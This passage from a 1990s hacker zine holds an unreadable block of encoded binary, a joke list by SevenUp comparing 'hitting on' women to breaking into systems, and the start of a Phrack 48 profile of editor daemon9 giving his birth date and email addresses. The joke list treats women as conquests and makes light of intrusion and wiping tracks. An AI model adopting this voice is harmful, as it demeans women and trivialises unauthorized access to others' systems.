*QHS$Ia3EMAL+X#+Y@Mh9VaSEhB%qYL!mc-1Il+m@q*2c9DZUhZPcrT0pN[LGrYJ
|
||
SmIdEIPeAjV&8AFB(hr1ZPc#rHMA`*[Y#RdQpi4R-Ap'IYMThR[1El'-Hr&j"LrB
|
||
86jq,r5[mi1mVr'JV&)ZK3dXUha+p2[QMDh)aK+GhV*lU%ckYN!!`I"@0dT)VXS4
|
||
ERIa2NR@YjYP44IKm&LJdmGlZq6phdDY!2$0a6U1bEdR0V0ZfMp$Tc16%`qi%A3D
|
||
KTj@0XNHNKAkjkNkai$'E98S,Gm[hLD1MD[6ASjr2l`KVPFrIVYe(ph9dGqAqHhc
|
||
IQ6T`TH0DN!$&K3&F*[ZC02Z1BKE%*FfCZ2DC[f8p,JVl@ZipPSJZB&Q9&m!JK8-
|
||
VRHAH[BFI#MmrTeE,DbcAlZbTZ291A!Z1iE,GpdUbF3#BU+kU-eEYi4I"jl)(dUG
|
||
`a8KYPHBPQ&SAp&#NIG99VBaQPJh1lRD'kES),M6Ndl86jpA8cpKX+*&[$MU[*Nq
|
||
cJ2B6l5GcYV+(YCA43TEeJaBJY$K[d&9`D6FkJqR(d`I5rccpjqLpQ[i#CrdIF1(
|
||
Up94IV0JjQATKlki5A#'(VVQT[K)FE%V2cdPSHH#V0JB)V552BriP,U(qK$V!2TA
|
||
UXlYaADmBPm&i*hf5)mePEHRM9,8kZ!$&d[ralMhT9qE8dJ63MjINY8TmMY!``I%
|
||
iVr5ri%VYKpl-q6%GIBZ,K"*GMXeThIU&Q`T6@RlMeQJ4bi*Z4EK!#0hDVMQfke4
|
||
h-IZ,2DR[BG+2b4$0k8b$Lq6m,p`d,i9,`cRDXTk#9PBAjGIiF&8j[He@A&*PmJH
|
||
AX#aY@I9Zr8lbN!!*,iN1A3",Yf[jh(hmfJ,8'#6I3Bemce1NE@&Y54'8,),fq@P
|
||
i,[h[m2l*45hIF0&ad9HJ`lNjdEPFaI*ZpQ+L8G@f-TPddUV[K4,k+rSVZ+l,9D%
|
||
HCi%%%0IjFHdHq(!#VXfQ2dV)23@NEL(dG*N1dCALFU39%LZh)3Zk-japJ[QF6C3
|
||
4b8&RZ'Bh-B0lchkfa6Q2HKMeL28dric"-+i`2e+Bd2,A9VRSAm28%2F0,L%63[S
|
||
X($+8EKIZ4TVPi5+hR2lhP$R12F)A1GQ-h9Z&DkCj`$f1#r*l8,p@8p8UpbeT[*d
|
||
`k0S$TZP#kA'U8Yq&%ZG6IAV@[ZlAGLf8@N95B,)N(pKrbC&qdZS(rZb5['M@AQL
|
||
(+bJ#"5`j"V+%qlE2i9Hpk1LH(p[,"R[T"Fdbk$*"AbVaBYq26,T)m)-AY4`$"rK
|
||
)rDr4)Y!Gi2Z!KTrhT0`h(90)lae9L!N2m9)A6`%1N4Fk6Ymr[8I`([[(0hK1[8I
|
||
SlI'('!Pk4jbaK-(Na-fV,&(Ab+*1A+kV48h[L226%FMTeeM*X-B+9BhGp[ZDla6
|
||
9H&1IjM4rJA25M`XR`hLM,TMJM`IEP(H-6bG5U'@U"`DBccfdJfZqp5h8dhEcKf8
|
||
pb"q@,GCIPQ2cKdhAqF1ZqFmlj$@6TiedUi#G%AMdP2bQ,`M[hZhf#aAhNDr@dGF
|
||
[qJ!1m26Q04!QqL6j9(qASJ6qTZmiPrUS[EjKAF+,a%3I@`1EiZ2bprajKQ#T$j2
|
||
[h[f*r@GL)%Rp"MbBQ-!MpcFdE[r%r[e2N!#H&rdY(1lliG8+8[[+NidXZ`DR+&G
|
||
,1"1rc2eU$(G5a(R-4'UlU5bl+HcE[jqRYhmr(Y66U0krRf8e02"q0YASjlKT2pe
|
||
0qe`hlI2FY-ph8hl'2k6k93!H#3%jC@fejJ2eeN4A85$U5M[X*QR`ZSff[AM*)Jc
|
||
&1jCdfTCk2ieGCbrKiah@GGH6Z[YXNkYZ@1VeT0kqHR-IbPXMX@Z[,pbpZa[cqf#
|
||
DkFB+9I56EKri["mAr8KXeL@m0VHrj(l4Mi@Zli0+qaBYrcc+kEH!$qII+IMI![l
|
||
rL[S2h[m(SKqk[RHrii$2ja#DScGMRZ-p-+(A4dqFq+PcVV%4"rf1!chE5,pE1KZ
|
||
j#cXXYG&HNPbpTV'KCSRGBG[@G3mqZ0*Hp0ZGMAC(`dVd*hFSelGA)AKb2Xl2k@l
|
||
%Zj,kANl"`kk0DDA&Na#hSIifmA-i[X+X!$RE8+f!T0LQ"41JDbTa@`dV'&A$c!r
|
||
r"a8c8+VDCXL1++CL"XfbH-`-+UA"'X8U8a1+U8C+`dSiSZK+5&'NH%K466XF$+X
|
||
4-f$DDSJTIP8T"4d$ND)'H++%3S'!EB5Pd+a`)""35Je,!8Y9X@+4J")X9Aaf4&+
|
||
@5iUN5P)3@ULUSKY"b94#)!+@08UB+B#1k*4LFSaQG1#VbNT&3K93N!"R%UMiiU8
|
||
kBNleQj!!ae*Y)US%`dSd%$#93"$L!LmJ"94E#8TK99(#DLJ3$"R*T+%%3bEkJ8"
|
||
F!l%DDhN5%iTFTTLQ,flUX!8J!dT))aFTBG-S09GLaZ,V!%d%)9%LU!C-96AMLT)
|
||
`3f&&Kc@3!+e)9`81X0&Ar,SD9p95+fbBm!Bdm'&Y0293Z03(H3a3+N@GM%"99B*
|
||
&bZ#pN!#ZP*@Uj!89#LU5U8,A)%5)5J(6$#Pf+)c(,Je*9J,18[5JDUV35j%N+45
|
||
dbjB(JRB)RLJeH-,$4$"3Z"4@$+0T,P)L5U68Y"8,4Sr"6CB5$2K9%eb83#3-3NU
|
||
TCBGJ&b9%8U[+,-Xd`U@K*+`9P",a3#NS+k8Q*X-"-!VCF"X%S&KKLJ4-#l1)'UJ
|
||
Q+D8"-kB`+3QbNXq#bp9`h%3@3EP5#B6#bXdDHQVB9')5'Gj80F@dV6*P9K$4B+)
|
||
"5D3B!)Ah`NJRf-8dlB!8$"S"#+F#%NNL+6AJ,)'k(T*#(0T5T9$!#UX)28KL+9B
|
||
bS*Kq+%F`a-%LIj5#6eJbQ336Ni%P0Bld3B*"*eK#a8B89fa%8!Jr9BA1#"$%Jk3
|
||
Q5@0l1EN)ZX#!!!r$ENSiVUL"L"%[JqGK$6H)%8Vq)#NPUc8f021[L#YQ'I3A34c
|
||
#GFd`@EPDY@0*NaQ3!*0F1a(%*LLS5SfK*'(D@@@aZ'AC%"#j*S)Bp&@BLVJVUQ@
|
||
'c4!*JZ`33Cb%aq'M**)HrJF%P#&aN!!F2)L43F&S++MB&K`"VP*Te)4UX*m)BPJ
|
||
32*!!8XKE-f3'N!$EDY+@CLPZ%*2e*"11Kdf$XP*'CN+kFlY4%)-YV+Y)-&%5[*!
|
||
!!#5!6`ql33`AKT8D&Ei#ja#NK9HJ&eL))%CQdaT!+3AFm!H3!([Fq+Dk3S%$3NJ
|
||
d#j%%Am'#55aZ%8Sq43dL)V(eK0A5F%#'@`+'S[KM5&4!"5LfH')(%9%f6%f#mb%
|
||
%H,Jd'E`CKLUe&6880%-@'L3Up)62`!fl%(F[l6Kaa3UTDS)BN6PXb)L)8J2"P8T
|
||
5LGd-J$)*X8lNJY`FJ3M(aP*$U`Ul@9d1)@L#PK-6HaQ-EbPf')ST5X3U0A8+9F`
|
||
+F`"9$G&HJ4d#HTJ4'pTL3k!pLXb"d$!45dUC'Jk&&-PBC',l-#e6Y3-4'`+TjLb
|
||
EGJ2`J)U5A`AK1)5dVE#PK-RqYNPkQH(P)@9@`N61@qDXB%$&,&GBKa8X"$TD#U8
|
||
H8S3XKEd![L#&I8JK*43h*GK-X,6ML#6NP-hY$`("!"4J%*2VDJ0"5CEL63UESG*
|
||
5*@c8b)Z849Jb6"YlT4@bJRB3lSA#38KLJ!b3!'0)$0U5b$i4+j3)NIe*$MJA)cE
|
||
F5C6K+L88,,86Y&!"VBB8T-H%!L&9YU%%9,()JEST*@4b)RQ%Ee%8JE38U9#5far
|
||
,@8#*)ecmN9Q8Z)MR)0Ba#-6Y$`[@m*49E&5'BGp-L`Mf-pKBE$X)FT8@+`42NPC
|
||
EV'`JLDLh9jTa1%i0"d,KU)MTQR!iC+T*``S##Lj@bLaP%E6!aMFV@4S*Blq46&P
|
||
4lD$URK"-Bic1SA!bKA0SIN+&FqMpqaXDk%5,prQ*&[SidD+65*`I2(5eJC-)24&
|
||
@%MJcN3dpT0Zf(Nr%$0h3rC'bT&qA)lVI-R`a1fMSL6*0el5B*ZXa24baBVTY*(6
|
||
!ahA9X+c5B0Lb)Z#4X!cEXJ,m(#B@#`B6LE!H5qM"B$#Lf6+B"8')aB)keSTiSM4
|
||
XK28`FPbApD"Z@4Uc*%2Ab`KF0b`Y(06dB#!US4rf%A00$PUkCF6#ZQlTY2$L-%#
|
||
AbT+3!%8,QMEQ$GP1J#K1JI3)@1Yk8!Bji'%VaP'4T!%BleK3MYVaD&+AicVk`9!
|
||
#a'cEEm4d14Efa3`MA'CVXKpU5+!B*5DkCQK*`b#$q'RCj3G28P!cJV+PkTBGXE"
|
||
`k9&GmaZ*-1%CPK(%GUVjpA"#6PT@dX#A'$6LDi9a,UeUFLb#KSaV)$V-)a[4'&3
|
||
e)E!["Zp&j8K86j)A,!JD0R659GB-(2HSKKicV#JXD56e8X-IK,-d@ECe'`JiIY"
|
||
MrQ4F$rU6TEB1ij($B3%b8!4He0!dB+qB"TdYJi`1raN`#Sj3$&)Z%!8K2@,i,5L
|
||
Lkh%Ui!qrPSMSm4L$l%E)#N&T13)F#`B#[6M)"r''Al"hi56HJ(h!(q!5p&8MFPJ
|
||
aiU42R&bHL0K3&jN3#F-6$&mT)K86X)*%@U'&f,&p-4hU3aBd$#52$%$Z23f8C!Y
|
||
1`,Q5,M0,KA!@+-K`ZT'd)$(&3DNH)fK$0[@BbJ!!CVBK'rjB%,X+0#8BF,"PF)k
|
||
J(d!N+6!a'6L-5!T%'GaNk6)XBGY`-I,GJT%JL`8)*!TTEm21NN(k'mJG-U!186'
|
||
N3Ae`5#DMF$@PNQA,#S95f)+5%-l'VU0,YXmb)P&b(JpL,"JD@GNIXT2qH$J!1A@
|
||
i9[H#'+P*3CU``R'B0PRQXreq+dbj)S+Br'2#)*B'MH"D3bmP0@AiP!Ga(%cK)d3
|
||
Ih!1lJLU*!fH+)%B'qB)a'Dk!DNMS5%3P9r%-S5"'XL%3iDX`j%,1),GYR-YC%6H
|
||
)35KX`2(N#%Q1a-K-&M3NZe%3J`UX#er"1(#$35&LK+2-#f)p!)dY+%UHLI[K2Kl
|
||
LB#'#'-+4Gf&*i-*L0V)#!#SPC'N3L,UIJ59mKG#)iiC!$-N(6#E,#)#!RY4d"@D
|
||
`!K!KL83PlA%+3EV#)FK$k!X[d"c2IEm@-@)XS8H`h@&hm1YaRf&a8@%1(ZJD!Sb
|
||
lPr,--Z5BC8-T5)&%J$()k9E3(c0L%3DRBahN'a*%iqB)d#d95L"%(8jES#Hrab+
|
||
6d2#4$6,)V!38#qSDZ'Xbl4V%J*Z$!M)1'8"+J['d1!,CaSD!2BUE!c'+@0)M@-4
|
||
LXE"QfeJk$-5qE3@4f@4rj#NN!!m'rMLeXT+dV0N-N8(f0fc5bi"4i&Kb0F!Y1BM
|
||
GMV`Be#3i@UESKMbd(e++36j,dc5ZX!*B@5qc-BKd)CC)k&)%T3jcN!$#%"#F+'f
|
||
`NA"G,5!BC4JJKIek@36ETfeL(8@N3)&%`T!!il,ImXPFB6qbhZ5QLIKTcB'jD9@
|
||
+qq*3'2DRI+(%3+4&i&QS6eNImaPfN!$X6fP$#T,)Y0r&L#KB3#YD$reK!dI&X"&
|
||
jK1KKA4*,83*V#pNIbjN9M'#l##H`+pJ!#b,ISBXPNrfa-B)JV8B'a0)5GS)[)N%
|
||
rI1GZ1`Kb'iX9JXHJ*4$,08K'))`GMpJ3(6Yd0%,"LDd!34$AlDJYqmY!$3FTF35
|
||
@E[PJ4EY-LaU'M#8'I#`SB,&i4,-XfX5B*5FK'16JUlSQilamm[D4Hq)JZAGTC2F
|
||
ZMFqp3q0hlp!`G[2N9d*`'HH#T%ihefrVl0#+LqP68%c#*jM&mhjT!JP!MTqq9HZ
|
||
R6pfaj@,U'LEP8emc1c6hihF6)j-IfEDCC&SlY)TYlCZde,DfG5h&-pDd0AAJ8p2
|
||
DJddGQl5D68dY@l5NpS(LD2'-hUVQVI9JJqpMYE@f0EAAYmr95Mri`6,`H*Y0ZmN
|
||
PUM@eDbhE1V6@Y[TfI%TVk`jY@fYp5h%CrqUZaMmVVI'EfX@H00U'ECeE0h,3pI8
|
||
Db$8hYH!$R4Z,2q4pr9QV&i!VYcAADq$&KpUeG@fBK%ceE9Tc8hYl8dZMKJ[J'lD
|
||
eYA@fGK3AH[3fV@X(-8MDhVN"X1d0R4$P)Xhj(Y#$!#)9IS-c9p[B#AQfDHYDA$h
|
||
`3C-Ej"ZihHEMTmK12RIMK)IRZfpkEX,a%&eV&eL2Gq2+PG[le9'5$#aaqAh'dPG
|
||
i,6hc*lM'K5mK2FSIaVj66Eq*DeY6MmH*erlK`kbALUHSf%Y&)SXGIRX9IArTUN'
|
||
PRr81ShL+LVe8*2"aIhJbC)I%%P$#[[jH1RbG6iURKcf-pf-A8i)`(qrqKYX6pD@
|
||
8b!'@q-bqrR@k,XCRN!!5r%[mJLP9@$"i63X'eA685A8CJY[6Je!%(Pp3H#h`"JB
|
||
%hX#!`+0TU[IMfTQS"CjBB+J@H2[h#cbqeU"ZD""i$3d#MeBH83ZmKJD"4efUbmS
|
||
%APQC`#XV%hKPC3+[$)qS[D0Dlbh`D1N5YF"M61!*Qj!!fJ*,+%Sei9&0H&36RR#
|
||
&1%S@H-)IlY%bV`@Hm)HBTPViJfU"*rcK(N(c@Z!*Ia!,J5Im3EA!%rkJ@Z!*Ia"
|
||
EJ5Im3EA!%rkJ@Z!*IhLH%&ML,I#%2kJ@H-)IT*l`N!$`"p@%4cAK88ei3Q@UK6r
|
||
F"CIA!NmS4VA!%`c*$3*26,J,-Um&R[#(ZaDM&[kJ@Z!*IhK(pe3,21%23KGi`Kp
|
||
8#ccK$kS&R[#(Pa@H*`5@H!Xmi3qK"Xd)Ie!Y2#6m36AK88ei3M@UK6qS&RM#(e3
|
||
,21%2S5l9`KrZ!3'["Cj3Q'U"*a3K&`Jm`B"UJ5Im3CA!%rkJVX!6rU"Di!Pr8#h
|
||
`K$qm$2@b`[1%`"*[J5Im3Ha%jJTr8#dm*2a"0H%*&DJ@rU"Di!Pr8#h`K$q%@P3
|
||
,Ie!Ym)3rU"Ci`Kp#9DU&2kJ@H-)I9!XmSE43RfUK$08#6c#K@Z!*IiKUFVI`-Y6
|
||
,#Xm6!NZm*dpY[-h,fkLm6FREJ+BZS8aY)Yk'i@d1hNEJ*EfAi&ibHiRV*DQAN!"
|
||
HmRQ*jL@9Pd"HXRL*i5@"jh$2ZCiM2DGj$[+Fi5RZ+HNTj$(h'$(QIA$-qliE[cU
|
||
1jr"K8H0L1Rp`NC`rq&`%Ilc$0Zq#-Ql1ZFr9,KKj(eN6AjmM,[33&hU)#ch%K4l
|
||
L3JpaSBHiL%[CiMEl1kG!G(i`8@I['[fhScJaR-j'Ga8G+rVr1h2Ck)8LGZ$YrXa
|
||
"kF#"m5jflUfLD50G"`pfMCc'h"P[lUX%&XBAciUNNB1$r6,QKiYBehJrkrSjMCc
|
||
Zj`JPE24Fd9Mr@*(rh,Q4VJ2Rqk@$)fH,f%(J($b&`I0&dmk0M(4e(F`)[%+"GjB
|
||
SA##`NBYJEaIj4Jlf#k"E"0!`!Bd4d+M,RS#'Lq34&mF9i*F61'!Xj#3JM2Ah2eq
|
||
8kFIRaITp4886!TbC`$[Z`AbV++qrU+LIr`#N#k#h""!l5$Kra#%1ASBBFL&'6Na
|
||
!G(N3e`Q)[bjL)d!i3!KI)0Q@LVP"U$r@2`)#d$FEZ[Ah3lN46,j40"eqS[k",MK
|
||
UB[B-T#FhN5'K$F-rD[#B%-14-G53!,[V!SNbdLmG',Q!k6I42A"@f-1E1qGf$Sj
|
||
!IXBf#akr`*YeC4!&9)m44UBrjf$AZA-N!'L4qpL"dD)mXLT%)0r$`D$a,KM2MNa
|
||
r&JD+-%'b`-m-(kpfUE)$!$j30)V"FB%&'Z0)!6"cQ5*"r-48#%F"m#i51CkdJ0*
|
||
mNSfm65cA6E#Nh$J)5FQN"mC&(f!b3)NPd%E3i0L))jib9e"FBU-H933BrRI,"--
|
||
4`9!S4"44RqFK4362L9a$lK+*Jq")H-6a)SbB23IHU!p`IY@6r-EkA881MT0"b3d
|
||
(!6U)0lF#1*d6e#HQ+3P)3P$#+#HdH),3Z5P#)S(2F$B5jIbNL1cJ,eePhUBT#Jh
|
||
'lK)d6Y-%`DpfkblLrNZHqPNLp5Faq1cEVL6B%%JYa-+N+"0)3QY8N!"ef,2Re,4
|
||
B-D!Gk(!&1BdU3B1G3a+k9L!`Z%!X'QIG2"NXNXj"M)Nj1!FT4%jh0aAb+rJXZXM
|
||
(XbYF`d11VcQ8dK5&Er&%2RpamMbirC9JBIq'"3m8MS82*#,VH6T2$PdSHJYl'$Z
|
||
3!"%159dN3B+I%b6B1Bii+K$(qNq*P2)IS2`P%hV$&!TrHA&AB#-JFS"-6E$X(-p
|
||
T6KaINHcr+e+$KmU9kBc(`e-92%K6JF2hL3XJ4541Hd&*qPkFT43H[b`',8I#J36
|
||
PVSBBi8RPdL#c8@l`@Gp)84&jpKb-FiN(6kVc[%[E+Ud`2"(2rE@Ei$$8j,#[#jX
|
||
D#FKj,2Gi$2%9L[YiV0m2V[d(N!#K2!`p-X+'&15A%(`(LiVi,X!ChHNbkJ)MGhe
|
||
`i4!1)ZFmh35G#rhqeC26`LYXj'G6kR5p*4BmE"&MrG1!GV!IS6bj''$"kJFb)4'
|
||
IDC!!H!)"K#!1K%95-(DIaqM-P-N)X!ZpLEJL"*F8bF&$JYBC#23ZPJZ!EC1a64k
|
||
pAhVd4$Y6*'1E`cE2Y4AmhZBl%!M#P,RZYYMIA`5%,,$$k%8m[Q1"*-*I41`f3C4
|
||
([,FC#J-4@CpB$-@L3-R%TrNq4RCi@eKfM"1GJZ,4#VIb$6FMGP#aD,5`89,m2#Q
|
||
&fD,*"IKXdAQ3!*V1pf+Z)CqL2H35@)B@R)2R4+45`pZ3!$NHcqdc3LF4EaI2B'L
|
||
$)T)B`$Tr32MK02K-*MM(m[Cl$X,Ai3qrHr"$b`[dKr`mZA$1J+AS`*[B3l,SY!&
|
||
X4iZ#hVP$dH4Ta*QTS`NFT2cMN911k$M-[i[4ajYlf"kmIjGZXdL$q(f(h50GB2[
|
||
`N3Ta38Bq*LFHCcQB@iZjalejVkE,13X[1+`[LfRiCQGI0Y2'm2pEh0VReYQS`f1
|
||
VT$@mIeKkjLT)r5`@%Dkm4C3PSR5YbXY*ahm96Rlc2FFI`Gb3!$I[eH6iM`'rfbf
|
||
cfFI'(#RMeQ0Z2B,k)5M4JrUM8+Ek+NMp,,B6!BabZbKE49NR5Qj912jU#$FT2l+
|
||
6ep*ArrArZ8N*F#UbU,L"LXhi#`Zi!(Mi+N)P[U%bM#+,LKZSf)clUV32I&[k0RI
|
||
LGHb0pp,K$EcGr`Kf-4eQBqlalTXQHYjcPrX',IlMkI"4ppE'l"AdZF3F0`fQrXA
|
||
B"!GHcaM(VBT"E#XC*XR*A(3,d"dDii-,d4V"S1mDkRi-h6(UrM4[R2h#B4RUrGl
|
||
&h['m$$LIaYpjNH32jSMH'*XFmTAQLKl)2*'2PZqdikF3qicEC0fSRjUD(+*Q0LD
|
||
K$qZGDYC-0CpfQhjmG9$k%M@[`H4*e(rX0[dR%D+lU&Q!b5(8clY02cj9+6p,cB@
|
||
BK0cX"FMd9iiI(IRe22UHpXmG(m6i,MNBImZ#ra-*(rl*f[[aRU[phAAb!GH9lm2
|
||
R)b[BYr[`CbliX`Vr4-h2[V2lMl3C'Ye0EmFYmff0q+XmG1PmF9Ypr4TF#5qHJ@&
|
||
kUVI@dkhZ4I2Z`RmUdA"cI&h(lHkS4J3Q(V0UfHeFM1Ce,61@NKiYp4fhEh-R%ZZ
|
||
fE5hHX+hCTHAGMemrG@fH4Yr6djAcmRpq#qdiA[J54Qk8-qakqQmQk2f3!2ka#HT
|
||
AkGqAS2jjXXTHK#hPl-UPpq!2BNKc0QlS`*m9Nf,fXUSP1-HiBfQb#KmCNPD,2ii
|
||
KV4Gr*%0UX5TYi%YG64[Dm6FbT)qMMU2HKaSlM(4!r,d-kA$6KUddpdh802HLZ@a
|
||
&$AJGYCI@,-1rkRK$r)-91AG$d`Em'brjfYE@G4fSLqpD9,N+p@,k,cc-*ppA[64
|
||
C`kE*Mce3hpB1["r6(P9)AJdp1*Gk50$Ed-1Re[RFI26L6(BFN!!Z4`mI'+AHc!E
|
||
d%[5CdKZC-KFprUp*#PRS2[6QLkaACI45E"I["9M`)h1a1&,2aTcUc[d1HM9ZE`G
|
||
kG5l'1(VhLK#CPB2H@M%hD`Ck'phH224DhGlpk(@i[EI4fb4keikLpkcSA8HF6SV
|
||
H$4*khd$!AD1aQkDKGachZ@HKGaek!jJV31p@&YTqA'KcMi(Hkm#i'A00k"f6S6G
|
||
kHi$A3j`dT[prk$e2H"UEX`#pl`ZZYbRSI9l`L2d"H[MI8h52I-(ldH[$B3QmXf!
|
||
aHLp*daQbB%%MHMZPA(BhHPhSECAb'2kZdi,2S,GAF&V`CqJG`EqpJiI,Mk,hCA$
|
||
k#'0hR#E(q%i4aSSiG$VLHj0k0A1!mC3%lc+fHMCkTi4qDhm,[66j@'0hMk!AQ&R
|
||
eB!Zqcq"pY'%Drr6$p15kPMrVd&CdYPcTjkrXf+M4AbE6jQRU04HEp)',GcjS-F2
|
||
lP!A[jZ'[MA8dEG"UkVGhC&FhEHMSE+[hk[m(4#S!!!:
|
||
|
||
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
|
||
Hackin' GIRLS 'n SYSTEMS - ....
|
||
|
||
by SevenUp - sec@sec.de - http://www.sec.de/sec/
|
||
|
||
|
||
Hitting on girls and hitting on systems (I'll call them both "targets")
|
||
has quite some similarities. If you are good in hacking one of them,
|
||
it won't be too hard to enter the other one....
|
||
It also represents IRC channel #hack's current state of mind:
|
||
Women's talk is taking over.
|
||
|
||
|
||
|
||
THE GOALS
|
||
=========
|
||
|
||
- Biggest Challenge:
|
||
To get inside the first time
|
||
|
||
- Targets that have already been successfully hit by others lose a lot of
|
||
their attraction
|
||
|
||
- The goal is to keep as many successfully (formerly virgin) targets as
|
||
possible
|
||
|
||
- Different game: Hit one target from every region
|
||
|
||
- Mark every target you hit
|
||
|
||
- You don't really care much after you got your target, unless (in rare
|
||
cases) you love it
|
||
|
||
|
||
|
||
TIPS FOR BECOMING SUCCESSFUL
|
||
============================
|
||
|
||
- Key to Success:
|
||
The right "defaults", depending on situation and targets
|
||
|
||
- Be Cool:
|
||
Don't care too much about the target. Don't get involved
|
||
emotionally, but play a little with the target.
|
||
|
||
- Knowing different languages and keywords may be useful with targets
|
||
of different origins
|
||
|
||
- Social Engineering and spending time (sometimes money) might lead to your
|
||
goal easier
|
||
|
||
- The more targets you'll hit on, the more you'll succeed. Just ignore any
|
||
failings. Remember: Better to have tried (and maybe lost) than not even
|
||
have tried.
|
||
|
||
- Best time to find targets is at night
|
||
|
||
- Backdoors are always inviting (sometimes dangerous)
|
||
|
||
- Don't start with the top target. Start slow and easy and look for more
|
||
difficult ones after some success
|
||
|
||
- If you get rejected on the first time, don't give up. There is always
|
||
a second chance
|
||
|
||
- When you just got little time to hit on the target, don't hesitate -
|
||
a quick first try is never wrong and leaves you more time to think about
|
||
your second step.
|
||
|
||
- Scanning (and probing) is neccessary. Don't give up, even your rate of
|
||
success lays somewhere between 1% and 50%
|
||
|
||
|
||
|
||
SELECT THE RIGHT ONE
|
||
====================
|
||
|
||
- Be selective about your targets!
|
||
|
||
- Try targets with tight openings
|
||
|
||
- Targets with many users have more experience
|
||
|
||
- Targets with shadows / shades are harder to enter
|
||
|
||
- From the inside it's easier to reach the root-climax than from the outside
|
||
|
||
- Many targets look uninviting from the outside, but welcome you deeply
|
||
inside
|
||
|
||
- Some targets are leaking even before touching them
|
||
|
||
- If a target blows, it sucks
|
||
|
||
|
||
|
||
TECHNIQUES FOR MORE FUN
|
||
=======================
|
||
|
||
- After entering it, let the target become active too! Let it do some work
|
||
and see what comes up.
|
||
|
||
- To protect your target, close all openings and save the key
|
||
|
||
- Even some targets that suck can be nice
|
||
|
||
- Sniffing Targets:
|
||
For lamers and perverts
|
||
|
||
- Fingering Targets:
|
||
Can be interesting...
|
||
|
||
- Leeching targets dry makes fun, takes time and let's them become
|
||
kinda useless
|
||
|
||
- The right wrapper controls the intrusion and its consequences
|
||
|
||
|
||
|
||
WARNINGS
|
||
========
|
||
|
||
- Remember: The number of tries is limited. After unsuccessful hits, the
|
||
target and its environment will become aware - start searching in a new
|
||
area
|
||
|
||
- NEVER just pay to get into a target
|
||
|
||
- Don't fall for booby traps!
|
||
|
||
- When calling up targets, make sure their owner doesn't notice
|
||
|
||
- Don't use crack on the target... it fucks up the brain
|
||
|
||
- Don't fuck (up) the targets without protection
|
||
|
||
- Be aware: Some targets with change-root-environments can fake the
|
||
root-orgasm, or make you feel coming inside when you are not inside
|
||
|
||
- Penetrating a target too hard could use up or damage your tools
|
||
|
||
- Try to identify faked and "cross dressed" targets before totally unwrapping
|
||
them and finding a bad surprise
|
||
|
||
- When entering a virgin target the first time, you have to wipe the tracks -
|
||
this can often be messy
|
||
|
||
- Remember to get out of the target when you fall asleep
|
||
|
||
- Never lose your mind over the beauty of a target. Always check for guards.
|
||
|
||
- If you don't watch out, you may get a lifelong sentence after a 9 month trial.
|
||
|
||
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 5 of 18
|
||
|
||
-:[ Phrack Prophile ]:-
|
||
|
||
This issue, we have a "very special episode" of the Phrack Prophile. As
|
||
everyone knows, Phrack is once again in flux, and an entirely new editorial
|
||
staff is coming on board. In an effort to introduce everyone to these three
|
||
hackers, we've had them do profiles. Ladies and Gentlemen (yeah, like any
|
||
ladies OR gentlemen read Phrack), meet your new editors: Daemon9, ReDragon
|
||
and Voyager.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Prophile on Daemon9
|
||
|
||
|
||
Personal
|
||
~~~~~~~~
|
||
Nomenclature: daemon9/route/infinity
|
||
In real life: Mike D. (as in David, not Diamond) S.
|
||
DOB: 10.05.73
|
||
Likes: Women who aren't afraid to cry.
|
||
Dislikes: Hippies. GOD, I hate hippies...
|
||
Ink: Large back piece, and growing... (It's the outline of
|
||
a die. (No, not as in a pair of dice, but as in a
|
||
computer chip...)
|
||
Other: Glock 19 with trigger-guard mounted laser-site.
|
||
Passions: Computers. Computer Security (or lack there of).
|
||
Health. Mental and Physical aptitude.
|
||
Main URLs: http://www.infonexus.com/~daemon9
|
||
ftp://ftp.infonexus.com/pub
|
||
mailto://route@infonexus.com
|
||
mailto://daemon9@netcom.com
|
||
Hardware
|
||
~~~~~~~~
|
||
Years with Computers: 14ish
|
||
Computers Owned: Towers: P90/32MB/3GIG (Windows NT/Solaris/DOS-WFW)
|
||
Mids: P120/32/2GIG (Linux), 486-66/16/700MB (FreeBSD),
|
||
486-50/16/540 (Linux)
|
||
Laptops: P133/16/800, (Windows NT/Linux)
|
||
486-75/16/500 (DOS/WFW)
|
||
Networks Owned: The Information Nexus (infonexus.com)
|
||
|
||
Media
|
||
~~~~~
|
||
Music: Front242, FLA, The Goats, NIN, Diatribe, 16Volt,
|
||
Morphine, etc...
|
||
Movies: Usual Suspects, Miller's Crossing, Sneakers, Fletch
|
||
Army of Darkness, True Romance, NBK, etc...
|
||
Books: TCP/IP Illustrated vols. I-III, UNP, Applied
|
||
Cryptogrpahy 2nd edition, Computers and Intractablity:
|
||
A Guide to the Theory of NP-Completeness, and so on...
|
||
|
||
A Bit of History
|
||
~~~~~~~~~~~~~~~~
|
||
|
||
Ah, the days of my youth... Carefree, happy-go-lucky, life was a big
|
||
open door to me. One spring a very good friend of mine told me I should get
|
||
an ``Internet'' account to write him mail while he was away at school.
|
||
"Huh...?"
|
||
...Was my concise reply. I was deep into the computer thing at that time,
|
||
but I had not gotten into the Internet yet. Well, we went out and bought
|
||
a (at the time) $200 2400 BPS modem and got me hooked up with this brand new
|
||
service provider, NetCom Online... At first I merely used the thing for
|
||
email, but soon after I taught myself all about Unix, I discovered all the
|
||
wonders of Usenet and IRC (AKA the Big Waste). Most people know me from my
|
||
frequent alt.2600 presense. That's where I met Voyager. We quickly found
|
||
that we had the same interests as far as computers and hacking went. The
|
||
rest is history... Sorta.
|
||
|
||
|
||
The Theory Behind It All
|
||
~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
When I look back and try to figure out how the hell I got here, I have
|
||
one person to thank. My father. He bought me my first Commodore 64. I can
|
||
remember hooking that archaic thing up to my TV, writing my own adventure
|
||
games in basic, and saving them to a tape drive. My computer time line goes
|
||
something like this:
|
||
|
||
c64 Apple IIc IBM XT IBM 286 486/33 486/66 P90 486/66 486/50 P120 P133...
|
||
1982 1984 1986 1987 1991 1992 1994 1995 1996 1996 1996
|
||
|
||
I am not happy unless I am bathed in a contstant stream of extraneous
|
||
RF radiation. My room is alive with a myriad of blinking and flashing lights,
|
||
several humming fans, and hundreds of feet of fire-hazard-inducing cables.
|
||
I have to put tin-foil on all of my windows just to keep the sun out and the
|
||
temperature down. You'd be amazed how well that works.
|
||
|
||
The pursuit of knowledge is what led me down the path I am following.
|
||
I am simply not satisfied with knowing that something works. I need to
|
||
know why and how, and how to break it and then how fix it... I do not solve a
|
||
problem by merely finding a work-around. I slam head on into the fucking
|
||
